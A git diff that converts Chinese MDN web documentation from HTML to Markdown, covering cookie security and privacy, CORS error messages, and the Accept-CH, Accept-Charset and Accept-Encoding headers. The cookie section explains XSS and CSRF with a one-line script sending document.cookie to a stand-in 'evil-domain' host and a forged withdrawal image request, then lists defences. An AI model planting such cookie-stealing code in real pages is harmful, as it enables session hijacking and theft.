    +## 安全 -

    当机器处于不安全环境时,切记不能通过 HTTP Cookie 存储、传输敏感信息。

    -
    +> **备注:** 信息被存在 Cookie 中时,需要明白 cookie 的值是可以被访问,且可以被终端用户所修改的。根据应用程序的不同,可能需要使用服务器查找的不透明标识符,或者研究诸如 JSON Web Tokens 之类的替代身份验证/机密机制。当机器处于不安全环境时,切记*不能*通过 HTTP Cookie 存储、传输敏感信息。 -

    缓解涉及 Cookie 的攻击的方法:

    +缓解涉及 Cookie 的攻击的方法: -
      -
    • 使用 HttpOnly 属性可防止通过 JavaScript 访问 cookie 值。
    • -
    • 用于敏感信息(例如指示身份验证)的 Cookie 的生存期应较短,并且 SameSite 属性设置为StrictLax。(请参见上方的 SameSite Cookie。)在支持 SameSite 的浏览器中,这样做的作用是确保不与跨域请求一起发送身份验证 cookie,因此,这种请求实际上不会向应用服务器进行身份验证。
    • -
    +- 使用 `HttpOnly` 属性可防止通过 JavaScript 访问 cookie 值。 +- 用于敏感信息(例如指示身份验证)的 Cookie 的生存期应较短,并且 `SameSite` 属性设置为`Strict` 或 `Lax`。(请参见上方的 [SameSite Cookie](/zh-CN/docs/Web/HTTP/Cookies$edit#)。)在[支持 SameSite 的浏览器](/zh-CN/docs/Web/HTTP/Headers/Set-Cookie#Browser_compatibility)中,这样做的作用是确保不与跨域请求一起发送身份验证 cookie,因此,这种请求实际上不会向应用服务器进行身份验证。 -

    会话劫持和 XSS

    +### 会话劫持和 XSS -

    在 Web 应用中,Cookie 常用来标记用户或授权会话。因此,如果 Web 应用的 Cookie 被窃取,可能导致授权用户的会话受到攻击。常用的窃取 Cookie 的方法有利用社会工程学攻击和利用应用程序漏洞进行 {{Glossary("XSS")}} 攻击。

    +在 Web 应用中,Cookie 常用来标记用户或授权会话。因此,如果 Web 应用的 Cookie 被窃取,可能导致授权用户的会话受到攻击。常用的窃取 Cookie 的方法有利用社会工程学攻击和利用应用程序漏洞进行 {{Glossary("XSS")}} 攻击。 -
    (new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
    +```js +(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie; +``` -

    HttpOnly 类型的 Cookie 用于阻止了 JavaScript 对其的访问性而能在一定程度上缓解此类攻击。

    +`HttpOnly` 类型的 Cookie 用于阻止了 JavaScript 对其的访问性而能在一定程度上缓解此类攻击。 -

    跨站请求伪造(CSRF)

    +### 跨站请求伪造(CSRF) -

    维基百科已经给了一个比较好的 {{Glossary("CSRF")}} 例子。比如在不安全聊天室或论坛上的一张图片,它实际上是一个给你银行服务器发送提现的请求:

    +[维基百科](https://en.wikipedia.org/wiki/HTTP_cookie#Cross-site_request_forgery)已经给了一个比较好的 {{Glossary("CSRF")}} 例子。比如在不安全聊天室或论坛上的一张图片,它实际上是一个给你银行服务器发送提现的请求: -
    <img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
    +```html + +``` -

    当你打开含有了这张图片的 HTML 页面时,如果你之前已经登录了你的银行帐号并且 Cookie 仍然有效(还没有其它验证步骤),你银行里的钱很可能会被自动转走。有一些方法可以阻止此类事件的发生:

    +当你打开含有了这张图片的 HTML 页面时,如果你之前已经登录了你的银行帐号并且 Cookie 仍然有效(还没有其它验证步骤),你银行里的钱很可能会被自动转走。有一些方法可以阻止此类事件的发生: -
      -
    • 对用户输入进行过滤来阻止 {{Glossary("XSS")}};
    • -
    • 任何敏感操作都需要确认;
    • -
    • 用于敏感信息的 Cookie 只能拥有较短的生命周期;
    • -
    • 更多方法可以查看OWASP CSRF prevention cheat sheet
    • -
    +- 对用户输入进行过滤来阻止 {{Glossary("XSS")}}; +- 任何敏感操作都需要确认; +- 用于敏感信息的 Cookie 只能拥有较短的生命周期; +- 更多方法可以查看[OWASP CSRF prevention cheat sheet]()。 -

    跟踪和隐私

    +## 跟踪和隐私 - +### 第三方 Cookie -

    Cookie 与域关联。如果此域与您所在页面的域相同,则该 cookie 称为第一方 cookie( first-party cookie)。如果域不同,则它是第三方 cookie(third-party cookie)。当托管网页的服务器设置第一方 Cookie 时,该页面可能包含存储在其他域中的服务器上的图像或其他组件(例如,广告横幅),这些图像或其他组件可能会设置第三方 Cookie。这些主要用于在网络上进行广告和跟踪。例如,types of cookies used by Google。第三方服务器可以基于同一浏览器在访问多个站点时发送给它的 cookie 来建立用户浏览历史和习惯的配置文件。Firefox 默认情况下会阻止已知包含跟踪器的第三方 cookie。第三方 cookie(或仅跟踪 cookie)也可能被其他浏览器设置或扩展程序阻止。阻止 Cookie 会导致某些第三方组件(例如社交媒体窗口小部件)无法正常运行。

    +Cookie 与域关联。如果此域与您所在页面的域相同,则该 cookie 称为*第一方 cookie( first-party cookie)*。如果域不同,则它是*第三方 cookie(third-party cookie)*。当托管网页的服务器设置第一方 Cookie 时,该页面可能包含存储在其他域中的服务器上的图像或其他组件(例如,广告横幅),这些图像或其他组件可能会设置第三方 Cookie。这些主要用于在网络上进行广告和跟踪。例如,[types of cookies used by Google](https://policies.google.com/technologies/types)。第三方服务器可以基于同一浏览器在访问多个站点时发送给它的 cookie 来建立用户浏览历史和习惯的配置文件。Firefox 默认情况下会阻止已知包含跟踪器的第三方 cookie。第三方 cookie(或仅跟踪 cookie)也可能被其他浏览器设置或扩展程序阻止。阻止 Cookie 会导致某些第三方组件(例如社交媒体窗口小部件)无法正常运行。 -

    如果你没有公开你网站上第三方 Cookie 的使用情况,当它们被发觉时用户对你的信任程度可能受到影响。一个较清晰的声明(比如在隐私策略里面提及)能够减少或消除这些负面影响。在某些国家已经开始对 Cookie 制订了相应的法规,可以查看维基百科上例子cookie statement

    +如果你没有公开你网站上第三方 Cookie 的使用情况,当它们被发觉时用户对你的信任程度可能受到影响。一个较清晰的声明(比如在隐私策略里面提及)能够减少或消除这些负面影响。在某些国家已经开始对 Cookie 制订了相应的法规,可以查看维基百科上例子[cookie statement](https://wikimediafoundation.org/wiki/Cookie_statement)。 - +### Cookie 相关规定 -

    涉及使用 Cookie 的法律或法规包括:

    +涉及使用 Cookie 的法律或法规包括: -
      -
    • 欧盟通用数据隐私法规(GDPR)
    • -
    • 欧盟的《隐私权指令》
    • -
    • 加州消费者隐私法
    • -
    +- 欧盟通用数据隐私法规(GDPR) +- 欧盟的《隐私权指令》 +- 加州消费者隐私法 -

    这些规定具有全球影响力,因为它们适用于这些司法管辖区(欧盟和加利福尼亚)的用户访问的万维网上的任何站点,但请注意,加利福尼亚州的法律仅适用于总收入超过 2500 万美元的实体。)

    +这些规定具有全球影响力,因为它们适用于这些司法管辖区(欧盟和加利福尼亚)的用户访问的万维网上的任何站点,但请注意,加利福尼亚州的法律仅适用于总收入超过 2500 万美元的实体。) -

    这些法规包括以下要求:

    +这些法规包括以下要求: -
      -
    • 向用户表明您的站点使用 cookie。
    • -
    • 允许用户选择不接收某些或所​​有 cookie。
    • -
    • 允许用户在不接收 Cookie 的情况下使用大部分服务。
    • -
    +- 向用户表明您的站点使用 cookie。 +- 允许用户选择不接收某些或所 ​​ 有 cookie。 +- 允许用户在不接收 Cookie 的情况下使用大部分服务。 -

    可能还存在其他法规来管理您当地的 Cookie。您有责任了解并遵守这些规定。有些公司提供 "cookie banner" 代码,可帮助您遵守这些法规。

    +可能还存在其他法规来管理您当地的 Cookie。您有责任了解并遵守这些规定。有些公司提供 "cookie banner" 代码,可帮助您遵守这些法规。 -

    可以通过维基百科的相关内容获取最新的各国法律和更精确的信息。

    +可以通过[维基百科的相关内容](https://en.wikipedia.org/wiki/HTTP_cookie#EU_cookie_directive)获取最新的各国法律和更精确的信息。 -

    禁止追踪 Do-Not-Track

    +#### 禁止追踪 Do-Not-Track -

    虽然并没有法律或者技术手段强制要求使用 {{HTTPHeader("DNT")}},但是通过{{HTTPHeader("DNT")}} 可以告诉 Web 程序不要对用户行为进行追踪或者跨站追踪。查看{{HTTPHeader("DNT")}} 以获取更多信息。

    +虽然并没有法律或者技术手段强制要求使用 {{HTTPHeader("DNT")}},但是通过{{HTTPHeader("DNT")}} 可以告诉 Web 程序不要对用户行为进行追踪或者跨站追踪。查看{{HTTPHeader("DNT")}} 以获取更多信息。 - +#### 欧盟 Cookie 指令 -

    关于 Cookie,欧盟已经在2009/136/EC 指令中提了相关要求,该指令已于 2011 年 5 月 25 日生效。虽然指令并不属于法律,但它要求欧盟各成员国通过制定相关的法律来满足该指令所提的要求。当然,各国实际制定法律会有所差别。

    +关于 Cookie,欧盟已经在[2009/136/EC 指令](http://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX:32009L0136)中提了相关要求,该指令已于 2011 年 5 月 25 日生效。虽然指令并不属于法律,但它要求欧盟各成员国通过制定相关的法律来满足该指令所提的要求。当然,各国实际制定法律会有所差别。 -

    该欧盟指令的大意:在征得用户的同意之前,网站不允许通过计算机、手机或其他设备存储、检索任何信息。自从那以后,很多网站都在网站声明中添加了相关说明,告诉用户他们的 Cookie 将用于何处。

    +该欧盟指令的大意:在征得用户的同意之前,网站不允许通过计算机、手机或其他设备存储、检索任何信息。自从那以后,很多网站都在网站声明中添加了相关说明,告诉用户他们的 Cookie 将用于何处。 - +### 僵尸 Cookie 和删不掉的 Cookie -

    Cookie 的一个极端使用例子是僵尸 Cookie(或称之为“删不掉的 Cookie”),这类 Cookie 较难以删除,甚至删除之后会自动重建。这些技术违反了用户隐私和用户控制的原则,可能违反了数据隐私法规,并可能使使用它们的网站承担法律责任。它们一般是使用 Web storage API、Flash 本地共享对象或者其他技术手段来达到的。相关内容可以看:

    +Cookie 的一个极端使用例子是僵尸 Cookie(或称之为“删不掉的 Cookie”),这类 Cookie 较难以删除,甚至删除之后会自动重建。这些技术违反了用户隐私和用户控制的原则,可能违反了数据隐私法规,并可能使使用它们的网站承担法律责任。它们一般是使用 [Web storage API](/zh-CN/docs/Web/API/Web_Storage_API)、Flash 本地共享对象或者其他技术手段来达到的。相关内容可以看: - +- [Evercookie by Samy Kamkar](https://github.com/samyk/evercookie) +- [在维基百科上查看僵尸 Cookie](https://en.wikipedia.org/wiki/Zombie_cookie) -

    在浏览器中存储信息的其他方式

    +## 在浏览器中存储信息的其他方式 -

    在浏览器中存储数据的另一种方法是 Web Storage APIwindow.sessionStoragewindow.localStorage 属性与持续时间中的会话和永久 cookie 相对应,但是存储限制比 cookie 大,并且永远不会发送到服务器。

    +在浏览器中存储数据的另一种方法是 [Web Storage API](/zh-CN/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API)。[window.sessionStorage](/zh-CN/docs/Web/API/Window/sessionStorage) 和[window.localStorage](/zh-CN/docs/Web/API/Window/localStorage) 属性与持续时间中的会话和永久 cookie 相对应,但是存储限制比 cookie 大,并且永远不会发送到服务器。 -

    可以使用 IndexedDB API 或基于它构建的库来存储更多结构化的数据。

    +可以使用 [IndexedDB API](/zh-CN/docs/Web/API/IndexedDB_API) 或基于它构建的库来存储更多结构化的数据。 -

    了解更多

    +## 了解更多 - +- {{HTTPHeader("Set-Cookie")}} +- {{HTTPHeader("Cookie")}} +- {{domxref("Document.cookie")}} +- {{domxref("Navigator.cookieEnabled")}} +- [Inspecting cookies using the Storage Inspector](/zh-CN/docs/Tools/Storage_Inspector) +- [Cookie specification: RFC 6265](https://tools.ietf.org/html/rfc6265) +- [Nicholas Zakas article on cookies](https://www.nczonline.net/blog/2009/05/05/http-cookies-explained/) +- [Nicholas Zakas article on cookies and security](https://www.nczonline.net/blog/2009/05/12/cookies-and-security/) +- [HTTP cookie on Wikipedia](https://en.wikipedia.org/wiki/HTTP_cookie) diff --git a/files/zh-cn/web/http/cors/errors/index.md b/files/zh-cn/web/http/cors/errors/index.md index 053b84e68bfe4b..08054f734d4516 100644 --- a/files/zh-cn/web/http/cors/errors/index.md +++ b/files/zh-cn/web/http/cors/errors/index.md @@ -3,62 +3,54 @@ title: CORS errors slug: Web/HTTP/CORS/Errors translation_of: Web/HTTP/CORS/Errors --- -

    Cross-Origin Resource Sharing ({{Glossary("CORS")}}) 是一种允许服务器放宽同源策略的标准。 这用于明确允许一些跨源请求,同时拒绝其他请求。 例如,如果站点提供外界嵌入的服务,则可能需要放宽同源策略(same-origin policy)。 设置这样的 CORS 配置并不一定容易,并且可能存在一些挑战。 在这些页面中,我们将研究一些常见的 CORS 错误消息以及如何解决它们。

    +[Cross-Origin Resource Sharing](/zh-CN/docs/Web/HTTP/CORS) ({{Glossary("CORS")}}) 是一种允许服务器放宽同源策略的标准。 这用于明确允许一些跨源请求,同时拒绝其他请求。 例如,如果站点提供外界嵌入的服务,则可能需要放宽同源策略([same-origin policy](/zh-CN/docs/Web/Security/Same-origin_policy))。 设置这样的 CORS 配置并不一定容易,并且可能存在一些挑战。 在这些页面中,我们将研究一些常见的 CORS 错误消息以及如何解决它们。 -

    如果未正确设置 CORS 配置,浏览器控制台将显示错误,例如"Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at $somesite"(跨源请求已阻止:同源策略禁止在某些站点上读取远程资源”),表示请求因违反 CORS 安全性而被阻止规则。 但这可能不一定是设置错误。 因为用户的 Web 应用程序和远程外部服务可能故意禁止该请求。如果要使端点可用,则需要进行一些调试才能成功。

    +如果未正确设置 CORS 配置,浏览器控制台将显示错误,例如`"Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at $somesite"(`跨源请求已阻止:同源策略禁止在某些站点上读取远程资源”),表示请求因违反 CORS 安全性而被阻止规则。 但这可能不一定是设置错误。 因为用户的 Web 应用程序和远程外部服务可能故意禁止该请求。如果要使端点可用,则需要进行一些调试才能成功。 -

    确定问题

    +## 确定问题 -

    要了解 CORS 配置的基本问题,您需要找出哪个请求有问题以及原因。步骤如下:

    +要了解 CORS 配置的基本问题,您需要找出哪个请求有问题以及原因。步骤如下: -

    +1. 打开有问题的网站并打开开发者工具([Developer Tools](/zh-CN/docs/Tools))。 +2. 尝试重现失败的事务并检查控制台( [console](/zh-CN/docs/Tools/Web_Console))是否看到 CORS 违规错误消息。它可能看起来像这样: -
      -
    1. 打开有问题的网站并打开开发者工具(Developer Tools)。
    2. -
    3. 尝试重现失败的事务并检查控制台( console)是否看到 CORS 违规错误消息。它可能看起来像这样:
    4. -
    +![Firefox console showing CORS error](cors-error2.png) -

    Firefox console showing CORS error

    +错误消息的文本将类似于以下内容: -

    错误消息的文本将类似于以下内容:

    +```plain +Cross-Origin Request Blocked: The Same Origin Policy disallows +reading the remote resource at https://some-url-here. (Reason: +additional information here). +``` -
    Cross-Origin Request Blocked: The Same Origin Policy disallows
    -reading the remote resource at https://some-url-here. (Reason:
    -additional information here).
    +> **备注:** 出于安全原因,JavaScript 代码无法给出有关 CORS 请求出错的详细信息。 所有代码都知道发生了错误。 确定具体问题的唯一方法是查看浏览器的控制台以获取详细信息。 -
    -

    注意:出于安全原因,JavaScript 代码无法给出有关 CORS 请求出错的详细信息。 所有代码都知道发生了错误。 确定具体问题的唯一方法是查看浏览器的控制台以获取详细信息。

    -
    +## CORS 错误信息 -

    CORS 错误信息

    +当请求因 CORS 失败时,Firefox 的控制台会在其控制台中显示消息。 错误文本的一部分是“原因”消息,它提供了对出错的更深入的了解。 消息的原因如下: -

    当请求因 CORS 失败时,Firefox 的控制台会在其控制台中显示消息。 错误文本的一部分是“原因”消息,它提供了对出错的更深入的了解。 消息的原因如下:

    +- [原因:CORS 被禁用](/zh-CN/docs/Web/HTTP/CORS/Errors/CORSDisabled) +- [原因:CORS 请求未成功](/zh-CN/docs/Web/HTTP/CORS/Errors/CORSDidNotSucceed) +- [原因:CORS 头字段“Origin”未被添加](/zh-CN/docs/Web/HTTP/CORS/Errors/CORSOriginHeaderNotAdded) +- [原因:CORS 不允许请求外部重定向](/zh-CN/docs/Web/HTTP/CORS/Errors/CORSExternalRedirectNotAllowed) +- [Reason: CORS request not http](/zh-CN/docs/Web/HTTP/CORS/Errors/CORSRequestNotHttp) +- [Reason: CORS header ‘Access-Control-Allow-Origin’ missing](/zh-CN/docs/Web/HTTP/CORS/Errors/CORSMissingAllowOrigin) +- [Reason: CORS header ‘Access-Control-Allow-Origin’ does not match ‘xyz’](/zh-CN/docs/Web/HTTP/CORS/Errors/CORSAllowOriginNotMatchingOrigin) +- [Reason: Credential is not supported if the CORS header ‘Access-Control-Allow-Origin’ is ‘\*’](/zh-CN/docs/Web/HTTP/CORS/Errors/CORSNotSupportingCredentials) +- [Reason: Did not find method in CORS header ‘Access-Control-Allow-Methods’](/zh-CN/docs/Web/HTTP/CORS/Errors/CORSMethodNotFound) +- [Reason: expected ‘true’ in CORS header ‘Access-Control-Allow-Credentials’](/zh-CN/docs/Web/HTTP/CORS/Errors/CORSMissingAllowCredentials) +- [Reason: CORS preflight channel did not succeed](/zh-CN/docs/Web/HTTP/CORS/Errors/CORSPreflightDidNotSucceed) +- [Reason: invalid token ‘xyz’ in CORS header ‘Access-Control-Allow-Methods’](/zh-CN/docs/Web/HTTP/CORS/Errors/CORSInvalidAllowMethod) +- [Reason: invalid token ‘xyz’ in CORS header ‘Access-Control-Allow-Headers’](/zh-CN/docs/Web/HTTP/CORS/Errors/CORSInvalidAllowHeader) +- [Reason: missing token ‘xyz’ in CORS header ‘Access-Control-Allow-Headers’ from CORS preflight channel](/zh-CN/docs/Web/HTTP/CORS/Errors/CORSMissingAllowHeaderFromPreflight) +- [Reason: Multiple CORS header ‘Access-Control-Allow-Origin’ not allowed](/zh-CN/docs/Web/HTTP/CORS/Errors/CORSMultipleAllowOriginNotAllowed) - +## 参见 -

    参见

    - - +- Glossary: {{Glossary("CORS")}} +- [CORS introduction](/zh-CN/docs/Web/HTTP/CORS) +- [Server-side CORS settings](/zh-CN/docs/Web/HTTP/Server-Side_Access_Control) +- [CORS enabled image](/zh-CN/docs/Web/HTML/CORS_enabled_image) +- [CORS settings attributes](/zh-CN/docs/Web/HTML/CORS_settings_attributes) +- – page to test CORS requests diff --git a/files/zh-cn/web/http/headers/accept-ch-lifetime/index.md b/files/zh-cn/web/http/headers/accept-ch-lifetime/index.md index 1a35fd0cb602d0..6c51db3ba9015c 100644 --- a/files/zh-cn/web/http/headers/accept-ch-lifetime/index.md +++ b/files/zh-cn/web/http/headers/accept-ch-lifetime/index.md @@ -3,45 +3,34 @@ title: Accept-CH-Lifetime slug: Web/HTTP/Headers/Accept-CH-Lifetime translation_of: Web/HTTP/Headers/Accept-CH-Lifetime --- -
    {{HTTPSidebar}}{{securecontext_header}}{{SeeCompatTable}}
    +{{HTTPSidebar}}{{securecontext_header}}{{SeeCompatTable}} -

    服务器设置Accept-CH-Lifetime标头以指定{{HTTPHeader("Accept-CH")}}标头值的持久性,该值指定客户端应在后续请求中包括哪些Client Hints标头。

    +服务器设置**`Accept-CH-Lifetime`**标头以指定{{HTTPHeader("Accept-CH")}}标头值的持久性,该值指定客户端应在后续请求中包括哪些[Client Hints](/zh-CN/docs/Glossary/Client_hints)标头。 - - - - - - - - - - - -
    Header type{{Glossary("Response header")}}
    {{Glossary("Forbidden header name")}}?
    +| Header type | {{Glossary("Response header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | ? | -
    -

    注意: Client Hints只能在安全源(通过 TLS)上访问。所有安全的请求都应该持久化 Accept-CH 和 Accept-CH-Lifetime 头,以确保Client Hints可靠地发送。

    -
    +> **备注:** [Client Hints](/zh-CN/docs/Glossary/Client_hints)只能在安全源(通过 TLS)上访问。所有安全的请求都应该持久化 Accept-CH 和 Accept-CH-Lifetime 头,以确保[Client Hints](/zh-CN/docs/Glossary/Client_hints)可靠地发送。 -

    语法

    +## 语法 -
    Accept-CH-Lifetime: <age>
    -
    +```plain +Accept-CH-Lifetime: +``` -

    示例

    +## 示例 -
    Accept-CH: Viewport-Width, DPR
    +```plain
    +Accept-CH: Viewport-Width, DPR
     Accept-CH-Lifetime: 86400
    -
    +``` -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat("http.headers.Accept-CH-Lifetime")}}

    +{{Compat("http.headers.Accept-CH-Lifetime")}} -

    参见

    +## 参见 -
      -
    • {{HTTPHeader("Accept-CH")}}
    • -
    • {{HTTPHeader("Vary")}}
    • -
    +- {{HTTPHeader("Accept-CH")}} +- {{HTTPHeader("Vary")}} diff --git a/files/zh-cn/web/http/headers/accept-ch/index.md b/files/zh-cn/web/http/headers/accept-ch/index.md index 867dccc3918119..838bc009d30176 100644 --- a/files/zh-cn/web/http/headers/accept-ch/index.md +++ b/files/zh-cn/web/http/headers/accept-ch/index.md @@ -3,53 +3,38 @@ title: Accept-CH slug: Web/HTTP/Headers/Accept-CH translation_of: Web/HTTP/Headers/Accept-CH --- -
    {{HTTPSidebar}}{{securecontext_header}}{{SeeCompatTable}}
    +{{HTTPSidebar}}{{securecontext_header}}{{SeeCompatTable}} -

    Accept-CH 头由服务器设置,以指定客户端应在后续请求中应包含哪些客户端 Client Hints 提示头。

    +**`Accept-CH`** 头由服务器设置,以指定客户端应在后续请求中应包含哪些客户端 [Client Hints](/zh-CN/docs/Glossary/Client_hints) 提示头。 +| Header type | {{Glossary("Response header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | ? | +> **备注:** [Client Hints](/zh-CN/docs/Glossary/Client_hints) 只能在安全源(通过 TLS)上访问。所有安全的请求都应该持久化 Accept-CH 和 Accept-CH-Lifetime 头,以确保 [Client Hints](/zh-CN/docs/Glossary/Client_hints) 可靠地发送。 - - - - - - - - - - - -
    Header type{{Glossary("Response header")}}
    {{Glossary("Forbidden header name")}}?
    +## 语法 -
    -

    备注: Client Hints 只能在安全源(通过 TLS)上访问。所有安全的请求都应该持久化 Accept-CH 和 Accept-CH-Lifetime 头,以确保 Client Hints 可靠地发送。

    -
    +```plain +Accept-CH: +``` -

    语法

    +## 例子 -
    Accept-CH: <list of client hints>
    -
    - -

    例子

    - -
    Accept-CH: DPR, Viewport-Width
    +```plain
    +Accept-CH: DPR, Viewport-Width
     Accept-CH: Width
     Accept-CH-Lifetime: 86400
     Vary: DPR, Viewport-Width, Width
    -
    +``` -
    -

    备注: 牢记要根据所接受的 Client Hints 更改响应

    -
    +> **备注:** 牢记要根据所接受的 Client Hints [更改响应](/zh-CN/docs/Glossary/Client_hints#Varying_Client_Hints)。 -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat("http.headers.Accept-CH")}}

    +{{Compat("http.headers.Accept-CH")}} -

    相关内容

    +## 相关内容 -
      -
    • {{HTTPHeader("Accept-CH-Lifetime")}}
    • -
    • {{HTTPHeader("Vary")}}
    • -
    +- {{HTTPHeader("Accept-CH-Lifetime")}} +- {{HTTPHeader("Vary")}} diff --git a/files/zh-cn/web/http/headers/accept-charset/index.md b/files/zh-cn/web/http/headers/accept-charset/index.md index 482a96a695b163..18836496d207bf 100644 --- a/files/zh-cn/web/http/headers/accept-charset/index.md +++ b/files/zh-cn/web/http/headers/accept-charset/index.md @@ -10,79 +10,58 @@ tags: - 请求头 translation_of: Web/HTTP/Headers/Accept-Charset --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    Accept-Charset 请求头用来告知(服务器)客户端可以处理的字符集类型。 借助内容协商机制,服务器可以从诸多备选项中选择一项进行应用, 并使用{{HTTPHeader("Content-Type")}} 应答头通知客户端它的选择。浏览器通常不会设置此项值,因为每种内容类型的默认值通常都是正确的,但是发送它会更有利于识别。

    +**`Accept-Charset`** 请求头用来告知(服务器)客户端可以处理的字符集类型。 借助[内容协商机制](/zh-CN/docs/Web/HTTP/Content_negotiation),服务器可以从诸多备选项中选择一项进行应用, 并使用{{HTTPHeader("Content-Type")}} 应答头通知客户端它的选择。浏览器通常不会设置此项值,因为每种内容类型的默认值通常都是正确的,但是发送它会更有利于识别。 -

    如果服务器不能提供任何可以匹配的字符集的版本,那么理论上来说应该返回一个 {{HTTPStatus("406")}}(Not Acceptable,不被接受)的错误码。但是为了更好的用户体验,这种方法很少采用,取而代之的是将其忽略。

    +如果服务器不能提供任何可以匹配的字符集的版本,那么理论上来说应该返回一个 {{HTTPStatus("406")}}(Not Acceptable,不被接受)的错误码。但是为了更好的用户体验,这种方法很少采用,取而代之的是将其忽略。 -
    -

    在早期版本的 HTTP/1.1 协议中,规定了一个默认的字符集 (ISO-8859-1)。但是现在情况不同了,目前每一种内容类型都有自己的默认字符集。

    -
    +> **备注:** 在早期版本的 HTTP/1.1 协议中,规定了一个默认的字符集 (ISO-8859-1)。但是现在情况不同了,目前每一种内容类型都有自己的默认字符集。 - - - - - - - - - - - -
    Header type{{Glossary("Request header")}}
    {{Glossary("Forbidden header name")}}yes
    +| Header type | {{Glossary("Request header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | yes | -

    句法

    +## 句法 -
    Accept-Charset: <charset>
    +```plain
    +Accept-Charset: 
     
     // Multiple types, weighted with the {{glossary("quality values", "quality value")}} syntax:
    -Accept-Charset: utf-8, iso-8859-1;q=0.5
    +Accept-Charset: utf-8, iso-8859-1;q=0.5 +``` -

    指令

    +## 指令 -
    -
    <charset>
    -
    诸如 utf-8iso-8859-15 的字符集。
    -
    *
    -
    在这个消息头中未提及的任意其他字符集;'*' 用来表示通配符。
    -
    ;q= (q-factor weighting)
    -
    值代表优先顺序,用相对质量价值表示,又称为权重。
    -
    +- `` + - : `诸如 utf-8` 或 `iso-8859-15 的字符集。` +- `*` + - : `在这个消息头中未提及的任意其他字符集;'*'` 用来表示通配符。 +- `;q=` (q-factor weighting) + - : 值代表优先顺序,用相对[质量价值](/zh-CN/docs/Glossary/Quality_values)表示,又称为权重。 -

    例子

    +## 例子 -
    Accept-Charset: iso-8859-1
    +```plain
    +Accept-Charset: iso-8859-1
     
     Accept-Charset: utf-8, iso-8859-1;q=0.5
     
     Accept-Charset: utf-8, iso-8859-1;q=0.5, *;q=0.1
    -
    - -

    规范

    - - - - - - - - - - - - -
    SpecificationTitle
    {{RFC("7231", "Accept-Charset", "5.3.3")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context
    - -

    浏览器兼容性

    - -

    {{Compat("http.headers.Accept-Charset")}}

    - -

    参见

    - -
      -
    • HTTP 内容协商机制
    • -
    • 用来表示内容协商结果的消息头: {{HTTPHeader("Content-Type")}}
    • -
    • 其他类似消息头: {{HTTPHeader("TE")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Language")}}, {{HTTPHeader("Accept")}}
    • -
    +``` + +## 规范 + +| Specification | Title | +| -------------------------------------------------------- | ------------------------------------------------------------- | +| {{RFC("7231", "Accept-Charset", "5.3.3")}} | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context | + +## 浏览器兼容性 + +{{Compat("http.headers.Accept-Charset")}} + +## 参见 + +- HTTP [内容协商机制](/zh-CN/docs/Web/HTTP/Content_negotiation) +- 用来表示内容协商结果的消息头: {{HTTPHeader("Content-Type")}} +- 其他类似消息头: {{HTTPHeader("TE")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Language")}}, {{HTTPHeader("Accept")}} diff --git a/files/zh-cn/web/http/headers/accept-encoding/index.md b/files/zh-cn/web/http/headers/accept-encoding/index.md index eb124191f71f6f..a1b3991b36a840 100644 --- a/files/zh-cn/web/http/headers/accept-encoding/index.md +++ b/files/zh-cn/web/http/headers/accept-encoding/index.md @@ -7,45 +7,29 @@ tags: - 请求头 translation_of: Web/HTTP/Headers/Accept-Encoding --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    HTTP 请求头 Accept-Encoding 会将客户端能够理解的内容编码方式——通常是某种压缩算法——进行通知(给服务端)。通过内容协商的方式,服务端会选择一个客户端提议的方式,使用并在响应头 {{HTTPHeader("Content-Encoding")}} 中通知客户端该选择。

    +HTTP 请求头 **Accept-Encoding** 会将客户端能够理解的内容编码方式——通常是某种压缩算法——进行通知(给服务端)。通过内容协商的方式,服务端会选择一个客户端提议的方式,使用并在响应头 {{HTTPHeader("Content-Encoding")}} 中通知客户端该选择。 -

    即使客户端和服务器都支持相同的压缩算法,在 identity 指令可以被接受的情况下,服务器也可以选择对响应主体不进行压缩。导致这种情况出现的两种常见的情形是:

    +即使客户端和服务器都支持相同的压缩算法,在 identity 指令可以被接受的情况下,服务器也可以选择对响应主体不进行压缩。导致这种情况出现的两种常见的情形是: -
      -
    • 要发送的数据已经经过压缩,再次进行压缩不会导致被传输的数据量更小。一些图像格式的文件会存在这种情况;
    • -
    • 服务器超载,无法承受压缩需求导致的计算开销。通常,如果服务器使用超过 80% 的计算能力,微软建议不要压缩。
    • -
    +- 要发送的数据已经经过压缩,再次进行压缩不会导致被传输的数据量更小。一些图像格式的文件会存在这种情况; +- 服务器超载,无法承受压缩需求导致的计算开销。通常,如果服务器使用超过 80% 的计算能力,微软建议不要压缩。 -

    只要 identity —— 表示不需要进行任何编码——没有被明确禁止使用(通过 identity;q=0 指令或是 *;q=0 而没有为 identity 明确指定权重值),则服务器禁止返回表示客户端错误的 {{HTTPStatus("406")}} Not Acceptable 响应。

    +只要 identity —— 表示不需要进行任何编码——没有被明确禁止使用(通过 identity;q=0 指令或是 \*;q=0 而没有为 identity 明确指定权重值),则服务器禁止返回表示客户端错误的 {{HTTPStatus("406")}} Not Acceptable 响应。 -
    注意: +> **备注:** IANA 维护了[一个完整的官方支持的编码方式列表](http://www.iana.org/assignments/http-parameters/http-parameters.xml#http-parameters-1)。 +> +> - 另外两种编码方式—— bzip 和 bzip2 ——有时候也会用到,尽管并未在标准中出现。这两种方式实现了 UNIX 系统上的同名程序所采用的算法。注意第一种由于专利许可问题已经停止维护。 -
      -
    • -

      IANA 维护了一个完整的官方支持的编码方式列表

      -
    • -
